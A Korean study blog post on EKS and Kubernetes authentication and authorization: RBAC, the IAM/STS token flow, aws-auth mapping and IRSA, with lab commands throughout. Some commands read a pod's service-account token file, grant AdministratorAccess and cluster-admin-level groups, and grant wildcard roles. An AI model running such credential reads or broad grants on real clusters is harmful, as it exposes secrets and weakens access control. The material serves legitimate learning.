들어가며
이번 세미나에서는 EKS 환경의 인증/인가 로직의 메커니즘에 대해 알게 되었다. 이러한 개념들을 직접 실습해보며 세세하게 이해할 수 있었다. 6회 차가 보안 관련 내용이고, 스터디 내용들에 대한 사전 이해도가 낮았었기 때문에 엄청 걱정하고 있었다.
하지만 세미나 내용을 복기하고 정리하다보니 운이 좋게 이해가 되었다!
가시다님의 설명 + Chat GPT + 김태민 님 강의를 통해 알게 된 사실을 이번 포스팅을 통해 정리한다.
K8s 인증/인가의 개념
출처 - 김태민님 기술블로그 - 링크
Authentication
X509 Certs, Kubectl, ServiceAccount
kubetm.github.io
Kubernetes API Server는 kubernetes 클러스터상의 모든 자원을 관리하는 역할을 한다. Kubernetes API Server의 보안 관련 기능은 Kubernetes API Server에 접근할 수 있는 Authentication과, 클러스터 내의 리소스에 대한 액세스 권한을 관리하는 Authorization,
클러스터 관리자가 정의한 다양한 정책(클러스터의 보안, 정책 준수, 리소스 제한 등)과 규칙에 따라 요청을 검사하고 조건을 확인하는 Admission Control이 있다.
인증(Authentication)의 개념
로그인과 같이 절차를 거쳐 사용자가 누구인지 확인하는 것으로, Authentication을 위한 접근 방식은 크게 클러스터 내부, 외부로 나뉜다.
클러스터 외부 - User Account (사용자 또는 관리자의 관점)
Kubnernetes API를 통해서만 자원을 만들 수 있다. 내부에서는 kubectl로 접근이 가능, 외부에서는 https 인증서로만 접근을 할 수 있다.
하지만 내부에서 Proxy를 통해 인증서 없이 접근을 허용하게 해주면 http로도 접근이 가능하다.
Config 기능을 활용하면 context 변경을 통해 여러 클러스터에 접근이 가능하고, 자원에 대한 접근이 가능하다.
클러스터 내부 - SA(Service Account, Pod 관점)
Pod에서 API 서버에 마음대로 접근하게 되면 보안 상 문제가 발생하게 된다.
그래서 SA를 통해 접근하는 권한을 지정할 수 있다.
(물론 클러스터 내부에서도 kubectl을 통한 접근이 가능하다. 설명한 것은 Pod의 관점)
SA는 특정한 작업을 수행할 수 있는 권한을 가진 인증 주체를 의미하고, Namespace 단위로 생성되지만, 클러스터 단위로도 정의될 수 있다. 기본적으로 클러스터 내의 모든 Namespace에 접근이 가능한 default SA가 있다. (일반적으로 APP 개발자들이 사용하는 말 그대로 default SA)
클러스터에 대한 접근 방식은 다음과 같다.
- X509 Client Cert 방식
클러스터 외부에서 Kubernetes API 서버에 6443 Port로 https 접근시 kubeconfig에 있는 CA crt(발급기관 인증서), Client crt(클라이언트 인증서), Client key(클라이언트 개인키) 중 Client key, Client crt를 통해 인증하는 방식이다. 클러스터 내부에서 kubectl을 통해 자원에 접근이 가능한 이유는 kubectl 설치시 Kubernetes API Server의 kubeconfig 정보를 복사해 오기 때문이다. 클러스터 내부에서 kubectl을 통해 Proxy 설정을 accept-hosts로 변경하면 외부에서 8001번 Port로 http를 이용한 접근이 가능해진다. - kubectl 접근 방식
클러스터 외부에서 사전에 각 클러스터의 kubeconfig 정보(Client key, crt)를 가지고 있다면 contexts를 옮겨가며 접근이 가능하다. Contexts는 각각의 cluster에 접근하기 위한 cluster 인증 정보와 사용자 인증 정보를 연결하여 관리한다. - Service Account 방식
클러스터 내부에서 Pod를 생성하면 default라는 SA가 생성되고, 이 SA는 token을 Secret으로 가지고 있기 때문에 Kubernetes API 서버에 접근이 가능하다.
인가(Authorization)의 개념
인가는 사용자가 어떤 권한을 가지는지 확인하고 권한에 따른 자원 접근 제어를 하는 것이다.
RBAC(Role-Based Access Control)
kubernetes에서 접근 제어를 관리하기위한 메커니즘. RBAC는 클러스터 관리자가 사용자 및 서비스 계정에 대한 권한을 세밀하게 제어하는 역할을 한다.
핵심은 사용자와 클러스터 상에서의 역할을 별개로 선언하고, 그 두 가지를 조합(Binding)해서 사용자에게 권한을 부여하는 것이다.
이 프로세스는 SA 생성 → RBAC 권한 정의 → SA에 RBAC 권한(RoleBinding or ClusterRoleBinding) 부여하는 순서대로 진행된다.
kubernetes의 자원은 Cluster 단위와 Namespace 단위로 관리되는 것이 있다.
- Cluster 단위로 관리되는 자원 - Node, PV, Namespace
- Namespace 단위로 관리되는 자원 - Pod, Svc
Namespace를 만들면 자동으로 SA가 생성되고, SA에 Role을 어떻게 바인딩하는지에 따라 접근할 수 있는 자원이 달라진다.
아래의 시나리오는 SA에 Role들을 바인딩하여 사용하는 케이스다.
- Case 1
Role(Namespace 단위 리소스 접근 권한) 생성 → RoleBinding을 통해 연결 → SA = Namespace의 자원 접근가능 - Case 2
ClusterRole(클러스터 단위 리소스 접근 권한) 생성 → ClusterRoleBinding을 통해 연결 → SA = 클러스터의 자원 접근 가능 - Case 3
ClusterRole 생성 → RoleBinding을 통해 연결 → SA = 클러스터의 자원은 접근 불가능하지만, Namespace 자원은 접근가능. 관리를 위해 모든 클러스터에 동일한 Role을 적용해야 하는 상황에서 쓰임
실습환경
작업용 Bastion EC2 2대와 3대의 Node로 이루어진 클러스터가 뜬다.
# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick5.yaml
# CloudFormation 스택 배포
예시) aws cloudformation deploy --template-file eks-oneclick5.yaml --stack-name myeks --parameter-overrides KeyName=kp-gasida SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32 MyIamUserAccessKeyID=AKIA5... MyIamUserSecretAccessKey='CVNa2...' ClusterBaseName=myeks --region ap-northeast-2
# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text
# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/각자의.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
# default 네임스페이스 적용
kubectl ns default
# (옵션) context 이름 변경
NICK=<각자 자신의 닉네임>
NICK=devlos
kubectl ctx
kubectl config rename-context admin@myeks.ap-northeast-2.eksctl.io $NICK
# ExternalDNS
MyDomain=<자신의 도메인>
echo "export MyDomain=<자신의 도메인>" >> /etc/profile
MyDomain=gasida.link
echo "export MyDomain=gasida.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -
# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
--set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller
# 노드 IP 확인 및 PrivateIP 변수 지정
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile
echo "export N3=$N3" >> /etc/profile
echo $N1, $N2, $N3
# 노드 보안그룹 ID 확인
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values='*ng1*' --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.0/24
# 워커 노드 SSH 접속
for node in $N1 $N2 $N3; do ssh ec2-user@$node hostname; done
EKS 를 통해 설치한. kube/config 정보를 확인하면 다음과 같이 clsters.name 이 myeks.ap-northeast-2.eksctl.io로, users.name 이 admin@myeks.ap-northeast-2.eksctl.io로 되어 있는 것을 확인할 수 있다.
sts를 통해 임시자격 증명을 만들수 있도록 sts 관련 설정이 나와있는 것을 확인할 수 있다.
cat .kube/config
실습 - Namespace별 SA - RBAC 적용
이 실습은 서로다른 네임스베이스에 접근가능한 인증/인가를 설정해 보는 것이다.
# 네임스페이스(Namespace, NS) 생성 및 확인
kubectl create namespace dev-team
kubectl create ns infra-team
# 네임스페이스 확인
kubectl get ns
# 네임스페이스에 각각 서비스 어카운트 생성 : serviceaccounts 약자(=sa)
kubectl create sa dev-k8s -n dev-team
kubectl create sa infra-k8s -n infra-team
# 서비스 어카운트 정보 확인
kubectl get sa -n dev-team
kubectl get sa dev-k8s -n dev-team -o yaml | yh
kubectl get sa -n infra-team
kubectl get sa infra-k8s -n infra-team -o yaml | yh
다음으로 생성된 SA를 이용하여 Pod를 만든다.
# Pod 생성
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
name: dev-kubectl
namespace: dev-team
spec:
serviceAccountName: dev-k8s
containers:
- name: kubectl-pod
image: bitnami/kubectl:1.24.10
command: ["tail"]
args: ["-f", "/dev/null"]
terminationGracePeriodSeconds: 0
EOF
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
name: infra-kubectl
namespace: infra-team
spec:
serviceAccountName: infra-k8s
containers:
- name: kubectl-pod
image: bitnami/kubectl:1.24.10
command: ["tail"]
args: ["-f", "/dev/null"]
terminationGracePeriodSeconds: 0
EOF
# 확인
kubectl get pod -A
kubectl get pod -o dev-kubectl -n dev-team -o yaml
serviceAccount: dev-k8s
...
kubectl get pod -o infra-kubectl -n infra-team -o yaml
serviceAccount: infra-k8s
...
# 파드에 기본 적용되는 서비스 어카운트(토큰) 정보 확인
kubectl get pod -o dev-kubectl -n dev-team -o yaml | grep serviceAccount
kubectl get pod -o infra-kubectl -n infra-team -o yaml | grep serviceAccount
SA에 대한 토큰 정보를 확인해 보면 다음과 같다.
kubectl exec -it dev-kubectl -n dev-team -- cat /run/secrets/kubernetes.io/serviceaccount/token
각각의 파드로 접속하여 자원(Pod)에 대한 권한이 있는지 확인해 보면, 별도의 RoleBinding을 하지 않았기 때문에 모두 실패하는 것을 확인할 수 있다.
# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'
# 권한 테스트
k1 get pods # kubectl exec -it dev-kubectl -n dev-team -- kubectl get pods 와 동일한 실행 명령이다!
k1 run nginx --image nginx:1.20-alpine
k1 get pods -n kube-system
k2 get pods # kubectl exec -it infra-kubectl -n infra-team -- kubectl get pods 와 동일한 실행 명령이다!
k2 run nginx --image nginx:1.20-alpine
k2 get pods -n kube-system
# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods
이제 앞서 설명한 각각의 Namespace에 Role을 생성한다.
# 각각 네임스페이스내의 모든 권한에 대한 롤 생성
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: role-dev-team
namespace: dev-team
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOF
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: role-infra-team
namespace: infra-team
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
EOF
# 롤 확인
kubectl get roles -n dev-team
kubectl get roles -n infra-team
kubectl get roles -n dev-team -o yaml
kubectl describe roles role-dev-team -n dev-team
마지막으로 생성한 Role을 SA에 RoleBinding을 해준다.
# 롤바인딩 생성 : '서비스어카운트 <-> 롤' 간 서로 연동
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: roleB-dev-team
namespace: dev-team
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: role-dev-team
subjects:
- kind: ServiceAccount
name: dev-k8s
namespace: dev-team
EOF
cat <<EOF | kubectl create -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: roleB-infra-team
namespace: infra-team
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: role-infra-team
subjects:
- kind: ServiceAcco
이제 리소스를 생성해 보면 다음과 같이 잘 동작하는 것을 확인할 수 있다.
# 각각 파드로 Shell 접속하여 정보 확인 : 단축 명령어(alias) 사용
alias k1='kubectl exec -it dev-kubectl -n dev-team -- kubectl'
alias k2='kubectl exec -it infra-kubectl -n infra-team -- kubectl'
# 권한 테스트
k1 get pods
k1 run nginx --image nginx:1.20-alpine
k1 get pods
k1 delete pods nginx
k1 get pods -n kube-system
k1 get nodes
k2 get pods
k2 run nginx --image nginx:1.20-alpine
k2 get pods
k2 delete pods nginx
k2 get pods -n kube-system
k2 get nodes
# (옵션) kubectl auth can-i 로 kubectl 실행 사용자가 특정 권한을 가졌는지 확인
k1 auth can-i get pods
실습 후 리소스를 삭제한다.
kubectl delete ns dev-team infra-team
EKS 인증/인가
RBAC 관련 krew 플러그인 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum
# Show an RBAC access matrix for server resources
kubectl access-matrix --namespace default # Review access to namespaced resources in 'default'
# RBAC Lookup by subject (user/group/serviceaccount) name
kubectl rbac-tool lookup system:masters
kubectl describe ClusterRole eks:node-bootstrapper
# RBAC List Policy Rules For subject (user/group/serviceaccount) name
kubectl rbac-tool policy-rules -e '^system:.*'
# Shows the subject for the current context with which one authenticates with the cluster
kubectl rbac-tool whoami
# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view
## 이후 해당 작업용PC 공인 IP:8800 웹 접속
echo -e "RBAC View Web http://$(curl -s ipinfo.io/ip):8800"
EKS 인증/인가 메커니즘 분석
참고 - https://youtu.be/bksogA-WXv8 , AWES 세미나
Amazon EKS 마이그레이션 자료와 AWES 세미나에서 수집한 정보를 토대로 인증 인가 메커니즘을 정리했다.
도식을 요약하자면 클라이언트가 Kubenetes Cluster(EKS)의 자원에 접근하고자 할때, EKS의 AWS STS에서 pre-sign url을 임시자격증명 토큰으로 받는다.
이를 AWS IAM 서비스를 통해 신원 인증을 한다음, EKS의 RBAC정책을 통해 인가된 자원에 접근한다.
즉 AWS IAM과 K8S의 사용자를 통합하여 관리한다는 것이다.
결국 EKS 인증/인가를 수행하는 주체 다음과 같다.
인증 → AWS IAM을 통해!
인가 → K8S RBAC을 통해!
실습 - 하나씩 낱낱히 분해한 EKS 인증/인가 정책의 이해
스터디 리더 가시다님께서 친절하게 이러한 절차를 쉽게 이해할 수 있도록 실습 시나리오를 작성해 주셨다.
1. kubectl 명령 → aws eks get-token → EKS Service endpoint(STS)에 토큰 요청
# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn
# kubeconfig 정보 확인
cat ~/.kube/config | yh
...
- name: admin@myeks.ap-northeast-2.eksctl.io
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- eks
- get-token
# Get a token for authentication with an Amazon EKS cluster.
# This can be used as an alternative to the aws-iam-authenticator.
aws eks get-token help
# 임시 보안 자격 증명(토큰)을 요청 : expirationTimestamp 시간경과 시 토큰 재발급됨
aws eks get-token --cluster-name $CLUSTER_NAME | jq
aws eks get-token --cluster-name $CLUSTER_NAME | jq -r '.status.token'
2. kubectl의 Client-Go 라이브러리는 Pre-Sign URL을 Bearer Token으로 EKS API Cluster Endpoint로 요청을 보냄
Pre-sign URL 구성이 일반적인 AWS API의 구성정보와 흡사하다.
https://sts.ap-northeast-2.amazonaws.com/?A
ction=GetCallerIdentity&
Version=2011-06-15&
X-Amz-Algorithm=AWS4-HMAC-SHA256&
X-Amz-Credential=AKIA.../20230531/ap-northeast-2/sts/aws4_request&
X-Amz-Date=20230531T152853Z&
X-Amz-Expires=60&
X-Amz-SignedHeaders=host;x-k8s-aws-id&
X-Amz-Signature=bd2826fbae40328...ee5ee
3. EKS API는 Token Review를 Webhook token authenticator를 통해 요청 ⇒ (STS GetCallerIdentity 호출) AWS IAM 해당 호출 인증 완료 후 User/Role에 대한 ARN 반환
# tokenreviews api 리소스 확인
kubectl api-resources | grep authentication
ARN 이 포함된 응답정보 (userIdentity.arn)
{
"eventVersion": "1.08",
"userIdentity": {
"type": "AssumedRole",
"principalId": "AROAZVU4D6NRMB5PYZPU4:i-0e2ef09e813e2bc7f",
"arn": "arn:aws:sts::...:assumed-role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-12NMKXXN8EJG3/i-0e2ef09e813e2bc7f",
"accountId": "...",
"accessKeyId": "ASIAZVU4D6NRMTIKF26O",
"sessionContext": {
"sessionIssuer": {
"type": "Role",
"principalId": "AROAZVU4D6NRMB5PYZPU4",
"arn": "arn:aws:iam:...:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-12NMKXXN8EJG3",
"accountId": "...",
"userName": "eksctl-myeks-nodegroup-ng1-NodeInstanceRole-12NMKXXN8EJG3"
},
"webIdFederationData": {},
"attributes": {
"creationDate": "2023-05-31T15:05:46Z",
"mfaAuthenticated": "false"
},
"ec2RoleDelivery": "2.0"
}
},
"eventTime": "2023-05-31T16:05:51Z",
"eventSource": "sts.amazonaws.com",
"eventName": "GetCallerIdentity",
"awsRegion": "ap-northeast-2",
"sourceIPAddress": "52.78.87.152",
"userAgent": "Go-http-client/1.1",
"requestParameters": null,
"responseElements": null,
"requestID": "beee5dff-d745-4f4a-9f7b-331f963c6447",
"eventID": "217d5995-eab9-4910-a8a3-03f12c3853ee",
"readOnly": true,
"eventType": "AwsApiCall",
"managementEvent": true,
"recipientAccountId": "...",
"eventCategory": "Management",
"tlsDetails": {
"tlsVersion": "TLSv1.2",
"cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256",
"clientProvidedHostHeader": "sts.ap-northeast-2.amazonaws.com"
}
}
4. 쿠버네티스 RBAC 인가를 처리
k8s aws-auth configmap에서 mapping 정보를 확인
# Webhook api 리소스 확인
kubectl api-resources | grep Webhook
# validatingwebhookconfigurations 리소스 확인
kubectl get validatingwebhookconfigurations
kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh
# aws-auth 컨피그맵 확인 (Auth config 파일에 IAM User, userarn, username을 관리상의 이유로 생갹해놨음)
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
# EKS 설치한 IAM User 정보 >> system:authenticated는 어떤 방식으로 추가가 되었는지 궁금???
kubectl rbac-tool whoami
# system:masters , system:authenticated 그룹의 정보 확인
kubectl rbac-tool lookup system:masters
kubectl rbac-tool lookup system:authenticated
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated
# system:masters 그룹이 사용 가능한 클러스터 롤 확인 : cluster-admin
kubectl describe clusterrolebindings.rbac.authorization.k8s.io cluster-admin
# cluster-admin 의 PolicyRule 확인 : 모든 리소스 사용 가능!
kubectl describe clusterrole cluster-admin
# system:authenticated 그룹이 사용 가능한 클러스터 롤 확인
kubectl describe ClusterRole system:discovery
kubectl describe ClusterRole system:public-info-viewer
kubectl describe ClusterRole system:basic-user
kubectl describe ClusterRole eks:podsecuritypolicy:privileged
실습 - 신입사원을 위한 bastion에서 새로운 계정으로 RBAC 적용시키기
# 1. [myeks-bastion] testuser 사용자 생성
# testuser 사용자 생성
aws iam create-user --user-name testuser
# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser
# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser
# get-caller-identity 확인
aws sts get-caller-identity --query Arn
# EC2 IP 확인 : myeks-bastion-EC2-2 PublicIPAdd 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table
# 2. [myeks-bastion-2] testuser 자격증명 설정 및 확인
# get-caller-identity 확인 >> ?????
aws sts get-caller-identity --query Arn
# testuser 자격증명 설정
aws configure
# get-caller-identity 확인
aws sts get-caller-identity --query Arn
"arn:aws:iam::911283464785:user/testuser"
# kubectl 시도 >> testuser도 AdministratorAccess 권한을 가지고 있는데, 실패하는 이유는 aws-auth가 사용자 정보를 업데이트 하지 않아서이다.
kubectl get node -v6
ls ~/.kube
# 3. testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한 설정
# Creates a mapping from IAM role or user to Kubernetes user and groups
# aws-auth conf를 수정한다.
eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser
# 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh
# 4. [myeks-bastion-2] testuser kubeconfig 생성 및 kubectl 사용 확인
# testuser kubeconfig 생성 >> aws eks update-kubeconfig 실행이 가능한 이유는?, 3번 설정 후 약간의 적용 시간 필요
aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser
# 첫번째 bastic ec2의 config와 비교해보면 testuser외에는 같다.
cat ~/.kube/config | yh
# kubectl 사용 확인
kubectl ns default
kubectl get node -v6
# rbac-tool 후 확인
kubectl krew install rbac-tool && kubectl rbac-tool whoami
#5. [myeks-bastion] testuser 의 Group 변경(system:masters → system:authenticated)으로 RBAC 동작 확인
# 방안2 : 아래 edit로 mapUsers 내용 직접 수정 system:authenticated
kubectl edit cm -n kube-system aws-auth
...
# 확인
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
# 6. [myeks-bastion-2] testuser kubectl 사용 확인
# 시도 -> 실패됨. IAM 인증에 성공하지만, RBAC 권한이 없어서 실패하게 됨 (403 에러)
kubectl get node -v6
# API resource는 RBAC에 의한 권한이 있기 때문에 볼 수 있다
kubectl api-resources -v5
# 7. [myeks-bastion]에서 testuser IAM 맵핑 삭제 (사용자 삭제)
# testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn arn:aws:iam::$ACCOUNT_ID:user/testuser
# Get IAM identity mapping(s) -> 최초 관리 워커 노드가 프로비저닝 될 때 EKS 리소스를 쓸려고 하는 목적
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
# mapUser에 정보가 삭제되는 것을 확인
kubectl get cm -n kube-system aws-auth -o yaml | yh
# 8. # testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn arn:aws:iam::$ACCOUNT_ID:user/testuser
# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
kubectl get cm -n kube-system aws-auth -o yaml | yh
리소스 정보 확인됨
mapUser에 정보가 삭제됨
IRSA ( Identity and Access Management (IAM) Roles for Service Accounts)
Kubernetes 서비스 어카운트를 AWS IAM 역할에 직접 연결하게 해 주며, Kubernetes 애플리케이션(Pod)이 AWS 리소스에 대한 접근을 관리할 수 있게 하는 기능이다.
예를 들어 Pod가 AWS S3에 접근할 권한이 필요할 때, EC2 인스턴스의 프로파일에 권한을 부여하여 사용할 수 있는데, 이는 적용범위가 넓고, 보안적으로 취약하다.
IRSA를 사용하면 개별 SA에 IAM Role을 부여(최소한의 권한을 부여하는 원칙, Principle of Least Privilege)하여 특정 Pod만 AWS 리소스에 접근할 수 있게 되므로 보안을 훨씬 더 세밀하게 관리할 수 있다.
IRSA 선수 지식
Pod가 Kubernetes 리소스를 접근할 때는 SA를 통한 서비스계정 토큰을 이용할 수 있다. 하지만, 서비스계정 토큰은 사용하면 토큰 사용대상(audiance)과 유요기간(expiration)등을 제어할 수 없는 단점이 있다.
Service Account Token Volume Projection 기능을 사용하면, 이런 부족한 문제점을 해결할 수 있다.
<주목해야 할 정보>
spec.volumes.projected.expirationSeconds: 200
spec.volumes.projected.audience: vault
apiVersion: v1
kind: Pod
metadata:
name: nginx
spec:
containers:
- image: nginx
name: nginx
volumeMounts:
- mountPath: /var/run/secrets/tokens
name: vault-token
serviceAccountName: build-robot
volumes:
- name: vault-token
projected:
sources:
- serviceAccountToken:
path: vault-token
expirationSeconds: 200
audience: vault
Bound Service Account Token Volume
Kubernetes에서 1.21 버전부터 GA(General Availability)가 된 기능으로, 기존의 서비스 어카운트 토큰은 만료되지 않았고, 파드가 삭제되거나 서비스 어카운트가 삭제되지 않는 한 계속 유효한 점을 개선한 것이다.
이 기능을 사용하면, SA 토큰은 이제 Pod의 보안 콘텍스트에 "bound"된다. 즉, 토큰은 파드의 수명 주기와 연결되어 파드가 삭제될 때 만료된다.
Service Account Admission Controller는 토큰 컨트롤러에서 생성한 만료되지 않은 서비스 계정 토큰에 시크릿 기반 볼륨 대신 다음과 같은 프로젝티드 볼륨을 추가한다.
- name: kube-api-access-<random-suffix>
projected:
defaultMode: 420 # 420은 rw- 로 소유자는 읽고쓰기 권한과 그룹내 사용자는 읽기만, 보통 644는 소유자는 읽고쓰고실행 권한과 나머지는 읽고쓰기 권한
sources:
- serviceAccountToken: #기본적으로 1시간 뒤 또는 파드 삭제시 만료
expirationSeconds: 3607
path: token
- configMap: # kube-apiserver에 대한 연결 확인용도
items:
- key: ca.crt
path: ca.crt
name: kube-root-ca.crt
- downwardAPI: # Pod의 네임스페이스 참조
items:
- fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
path: namespace
실습 - Configure a Pod to Use a Projected Volume for Storage
프로젝티드 볼륨을 하나의 디렉터리에 통합하는 개념이다. 볼륨에 projected 옵션이 붙어있다.
# Create the Secrets:
## Create files containing the username and password:
echo -n "admin" > ./username.txt
echo -n "1f2d1e2e67df" > ./password.txt
## Package these files into secrets:
kubectl create secret generic user --from-file=./username.txt
kubectl create secret generic pass --from-file=./password.txt
# 파드 생성
kubectl apply -f https://k8s.io/examples/pods/storage/projected.yaml
# 파드 확인
kubectl get pod test-projected-volume -o yaml | kubectl neat | yh
# 시크릿 확인
kubectl exec -it test-projected-volume -- ls /projected-volume/
password.txt username.txt
kubectl exec -it test-projected-volume -- cat /projected-volume/username.txt ;echo
admin
kubectl exec -it test-projected-volume -- cat /projected-volume/password.txt ;echo
1f2d1e2e67df
# 삭제
kubectl delete pod test-projected-volume && kubectl delete secret user pass
K8s API 접근 단계
AuthN & AuthZ - MutatingWebhook - Object schema validation - ValidatingWebhook → etcd
출처 - 링크
A Guide to Kubernetes Admission Controllers
Author: Malte Isberner (StackRox) Kubernetes has greatly improved the speed and manageability of backend clusters in production today. Kubernetes has emerged as the de facto standard in container orchestrators thanks to its flexibility, scalability, and ea
kubernetes.io
- 인증(Authentication): 사용자나 서비스가 누구인지 확인하는 단계로, 이 단계에서는 요청이 정당한 사용자 또는 서비스로부터 오는 것인지를 판단한다.
- 인가(Authorization): 이 단계에서는 인증된 사용자나 서비스가 요청한 작업을 수행할 권한이 있는지를 판단한다.
- 어드미션 컨트롤러 (Admission Controllers): 이 단계에서는 요청이 쿠버네티스 클러스터의 정책에 따라 이행되는지 확인한다. 어드미션 컨트롤러는 다음 두 가지 카테고리로 나뉜다.
- Mutating Admission Webhook: 요청된 오브젝트를 수정하는 컨트롤러로써, 오브젝트에 새로운 레이블을 추가하거나, 디폴트 값 설정 등을 수행할 수 있다. (변경!!)
- Validating Admission Webhook: 요청된 오브젝트를 확인하고, 적절하지 않은 경우 거부하는 컨트롤러다. 예를 들어, 오브젝트의 설정이 클러스터의 정책에 맞는지를 검사한다. (막음!!)
각 단계는 이전 단계가 성공적으로 완료된 후에만 실행된다. 인증 단계가 실패하면 요청은 거부되며, 인가 및 어드미션 컨트롤 단계로 진행되지 않는다. 인증과 인가 단계가 모두 통과되어 어드미션 컨트롤러 단계로 넘어가면, 먼저 mutating 어드미션 웹훅이 실행되고, 이후 validating 어드미션 웹훅이 실행된다. 어떤 단계에서든 요청이 거부되면, 그 이후 단계는 실행되지 않는다.
OIDC(OpenID Connect)
사용자를 인증해 사용자에게 액세스 권한을 부여할 수 있게 해주는 프로토콜이다.
- OAuth 2.0 : 권한허가 처리 프로토콜, 다른 서비스에 접근할 수 있는 권한을 획득하거나 반대로 다른 서비스에게 권한을 부여
- 위임 권한 부여 Delegated Authorization, 사용자 인증보다는 제한된 사람에게(혹은 시스템) 제한된 권한을 부여하는가, 예) 페이스북 posting 권한
- Access Token : 발급처(OAuth 2.0), 서버의 리소스 접근 권한
- OpenID : 비영리기관인 OpenID Foundation에서 추진하는 개방형 표준 및 분산 인증 Authentication 프로토콜, 사용자 인증 및 사용자 정보 제공(id token)
- ID Token : 발급처(OpenID Connect), 유저 프로필 정보 획득
- OIDC OpenID Connect = OpenID 인증 + OAuth2.0 인가, JSON 포맷을 이용한 RESful API 형식으로 인증
- iss: 토큰 발행자
- sub: 사용자를 구분하기 위한 유니크한 구분자
- email: 사용자의 이메일
- iat: 토큰이 발행되는 시간을 Unix time으로 표기한 것
- exp: 토큰이 만료되는 시간을 Unix time으로 표기한 것
- aud: ID Token이 어떤 Client를 위해 발급된 것인지.
- IdP Open Identify Provider : 구글, 카카오와 같이 OpenID 서비스를 제공하는 신원 제공자.
- OpenID Connect에서 IdP의 역할을 OAuth가 수행
IRSA의 워크 플로우
0. (그림에는 순번이 없지만..) 사용자가 kubernetes Pod를 생성할 때 SA를 지정한다. 이 SA는 IRSA를 통해 AWS 리소스에 대한 접근 권한을 가진다. Pod가 생성되면 Kubernetes API Server는 SA에 대한 토큰(JWT, SA와 연결된 IAM Role 정보를 포함)을 생성한다. Pod가 시작되면 SA가 Pod에 마운트 된다.
1. Pod가 AWS SDK를 통해 AWS STS로 자원에 접근하기 위한 자격을 요청한다.
2. AWS STS는 토큰에 대한 검증을 AWS IAM에게 요청한다.
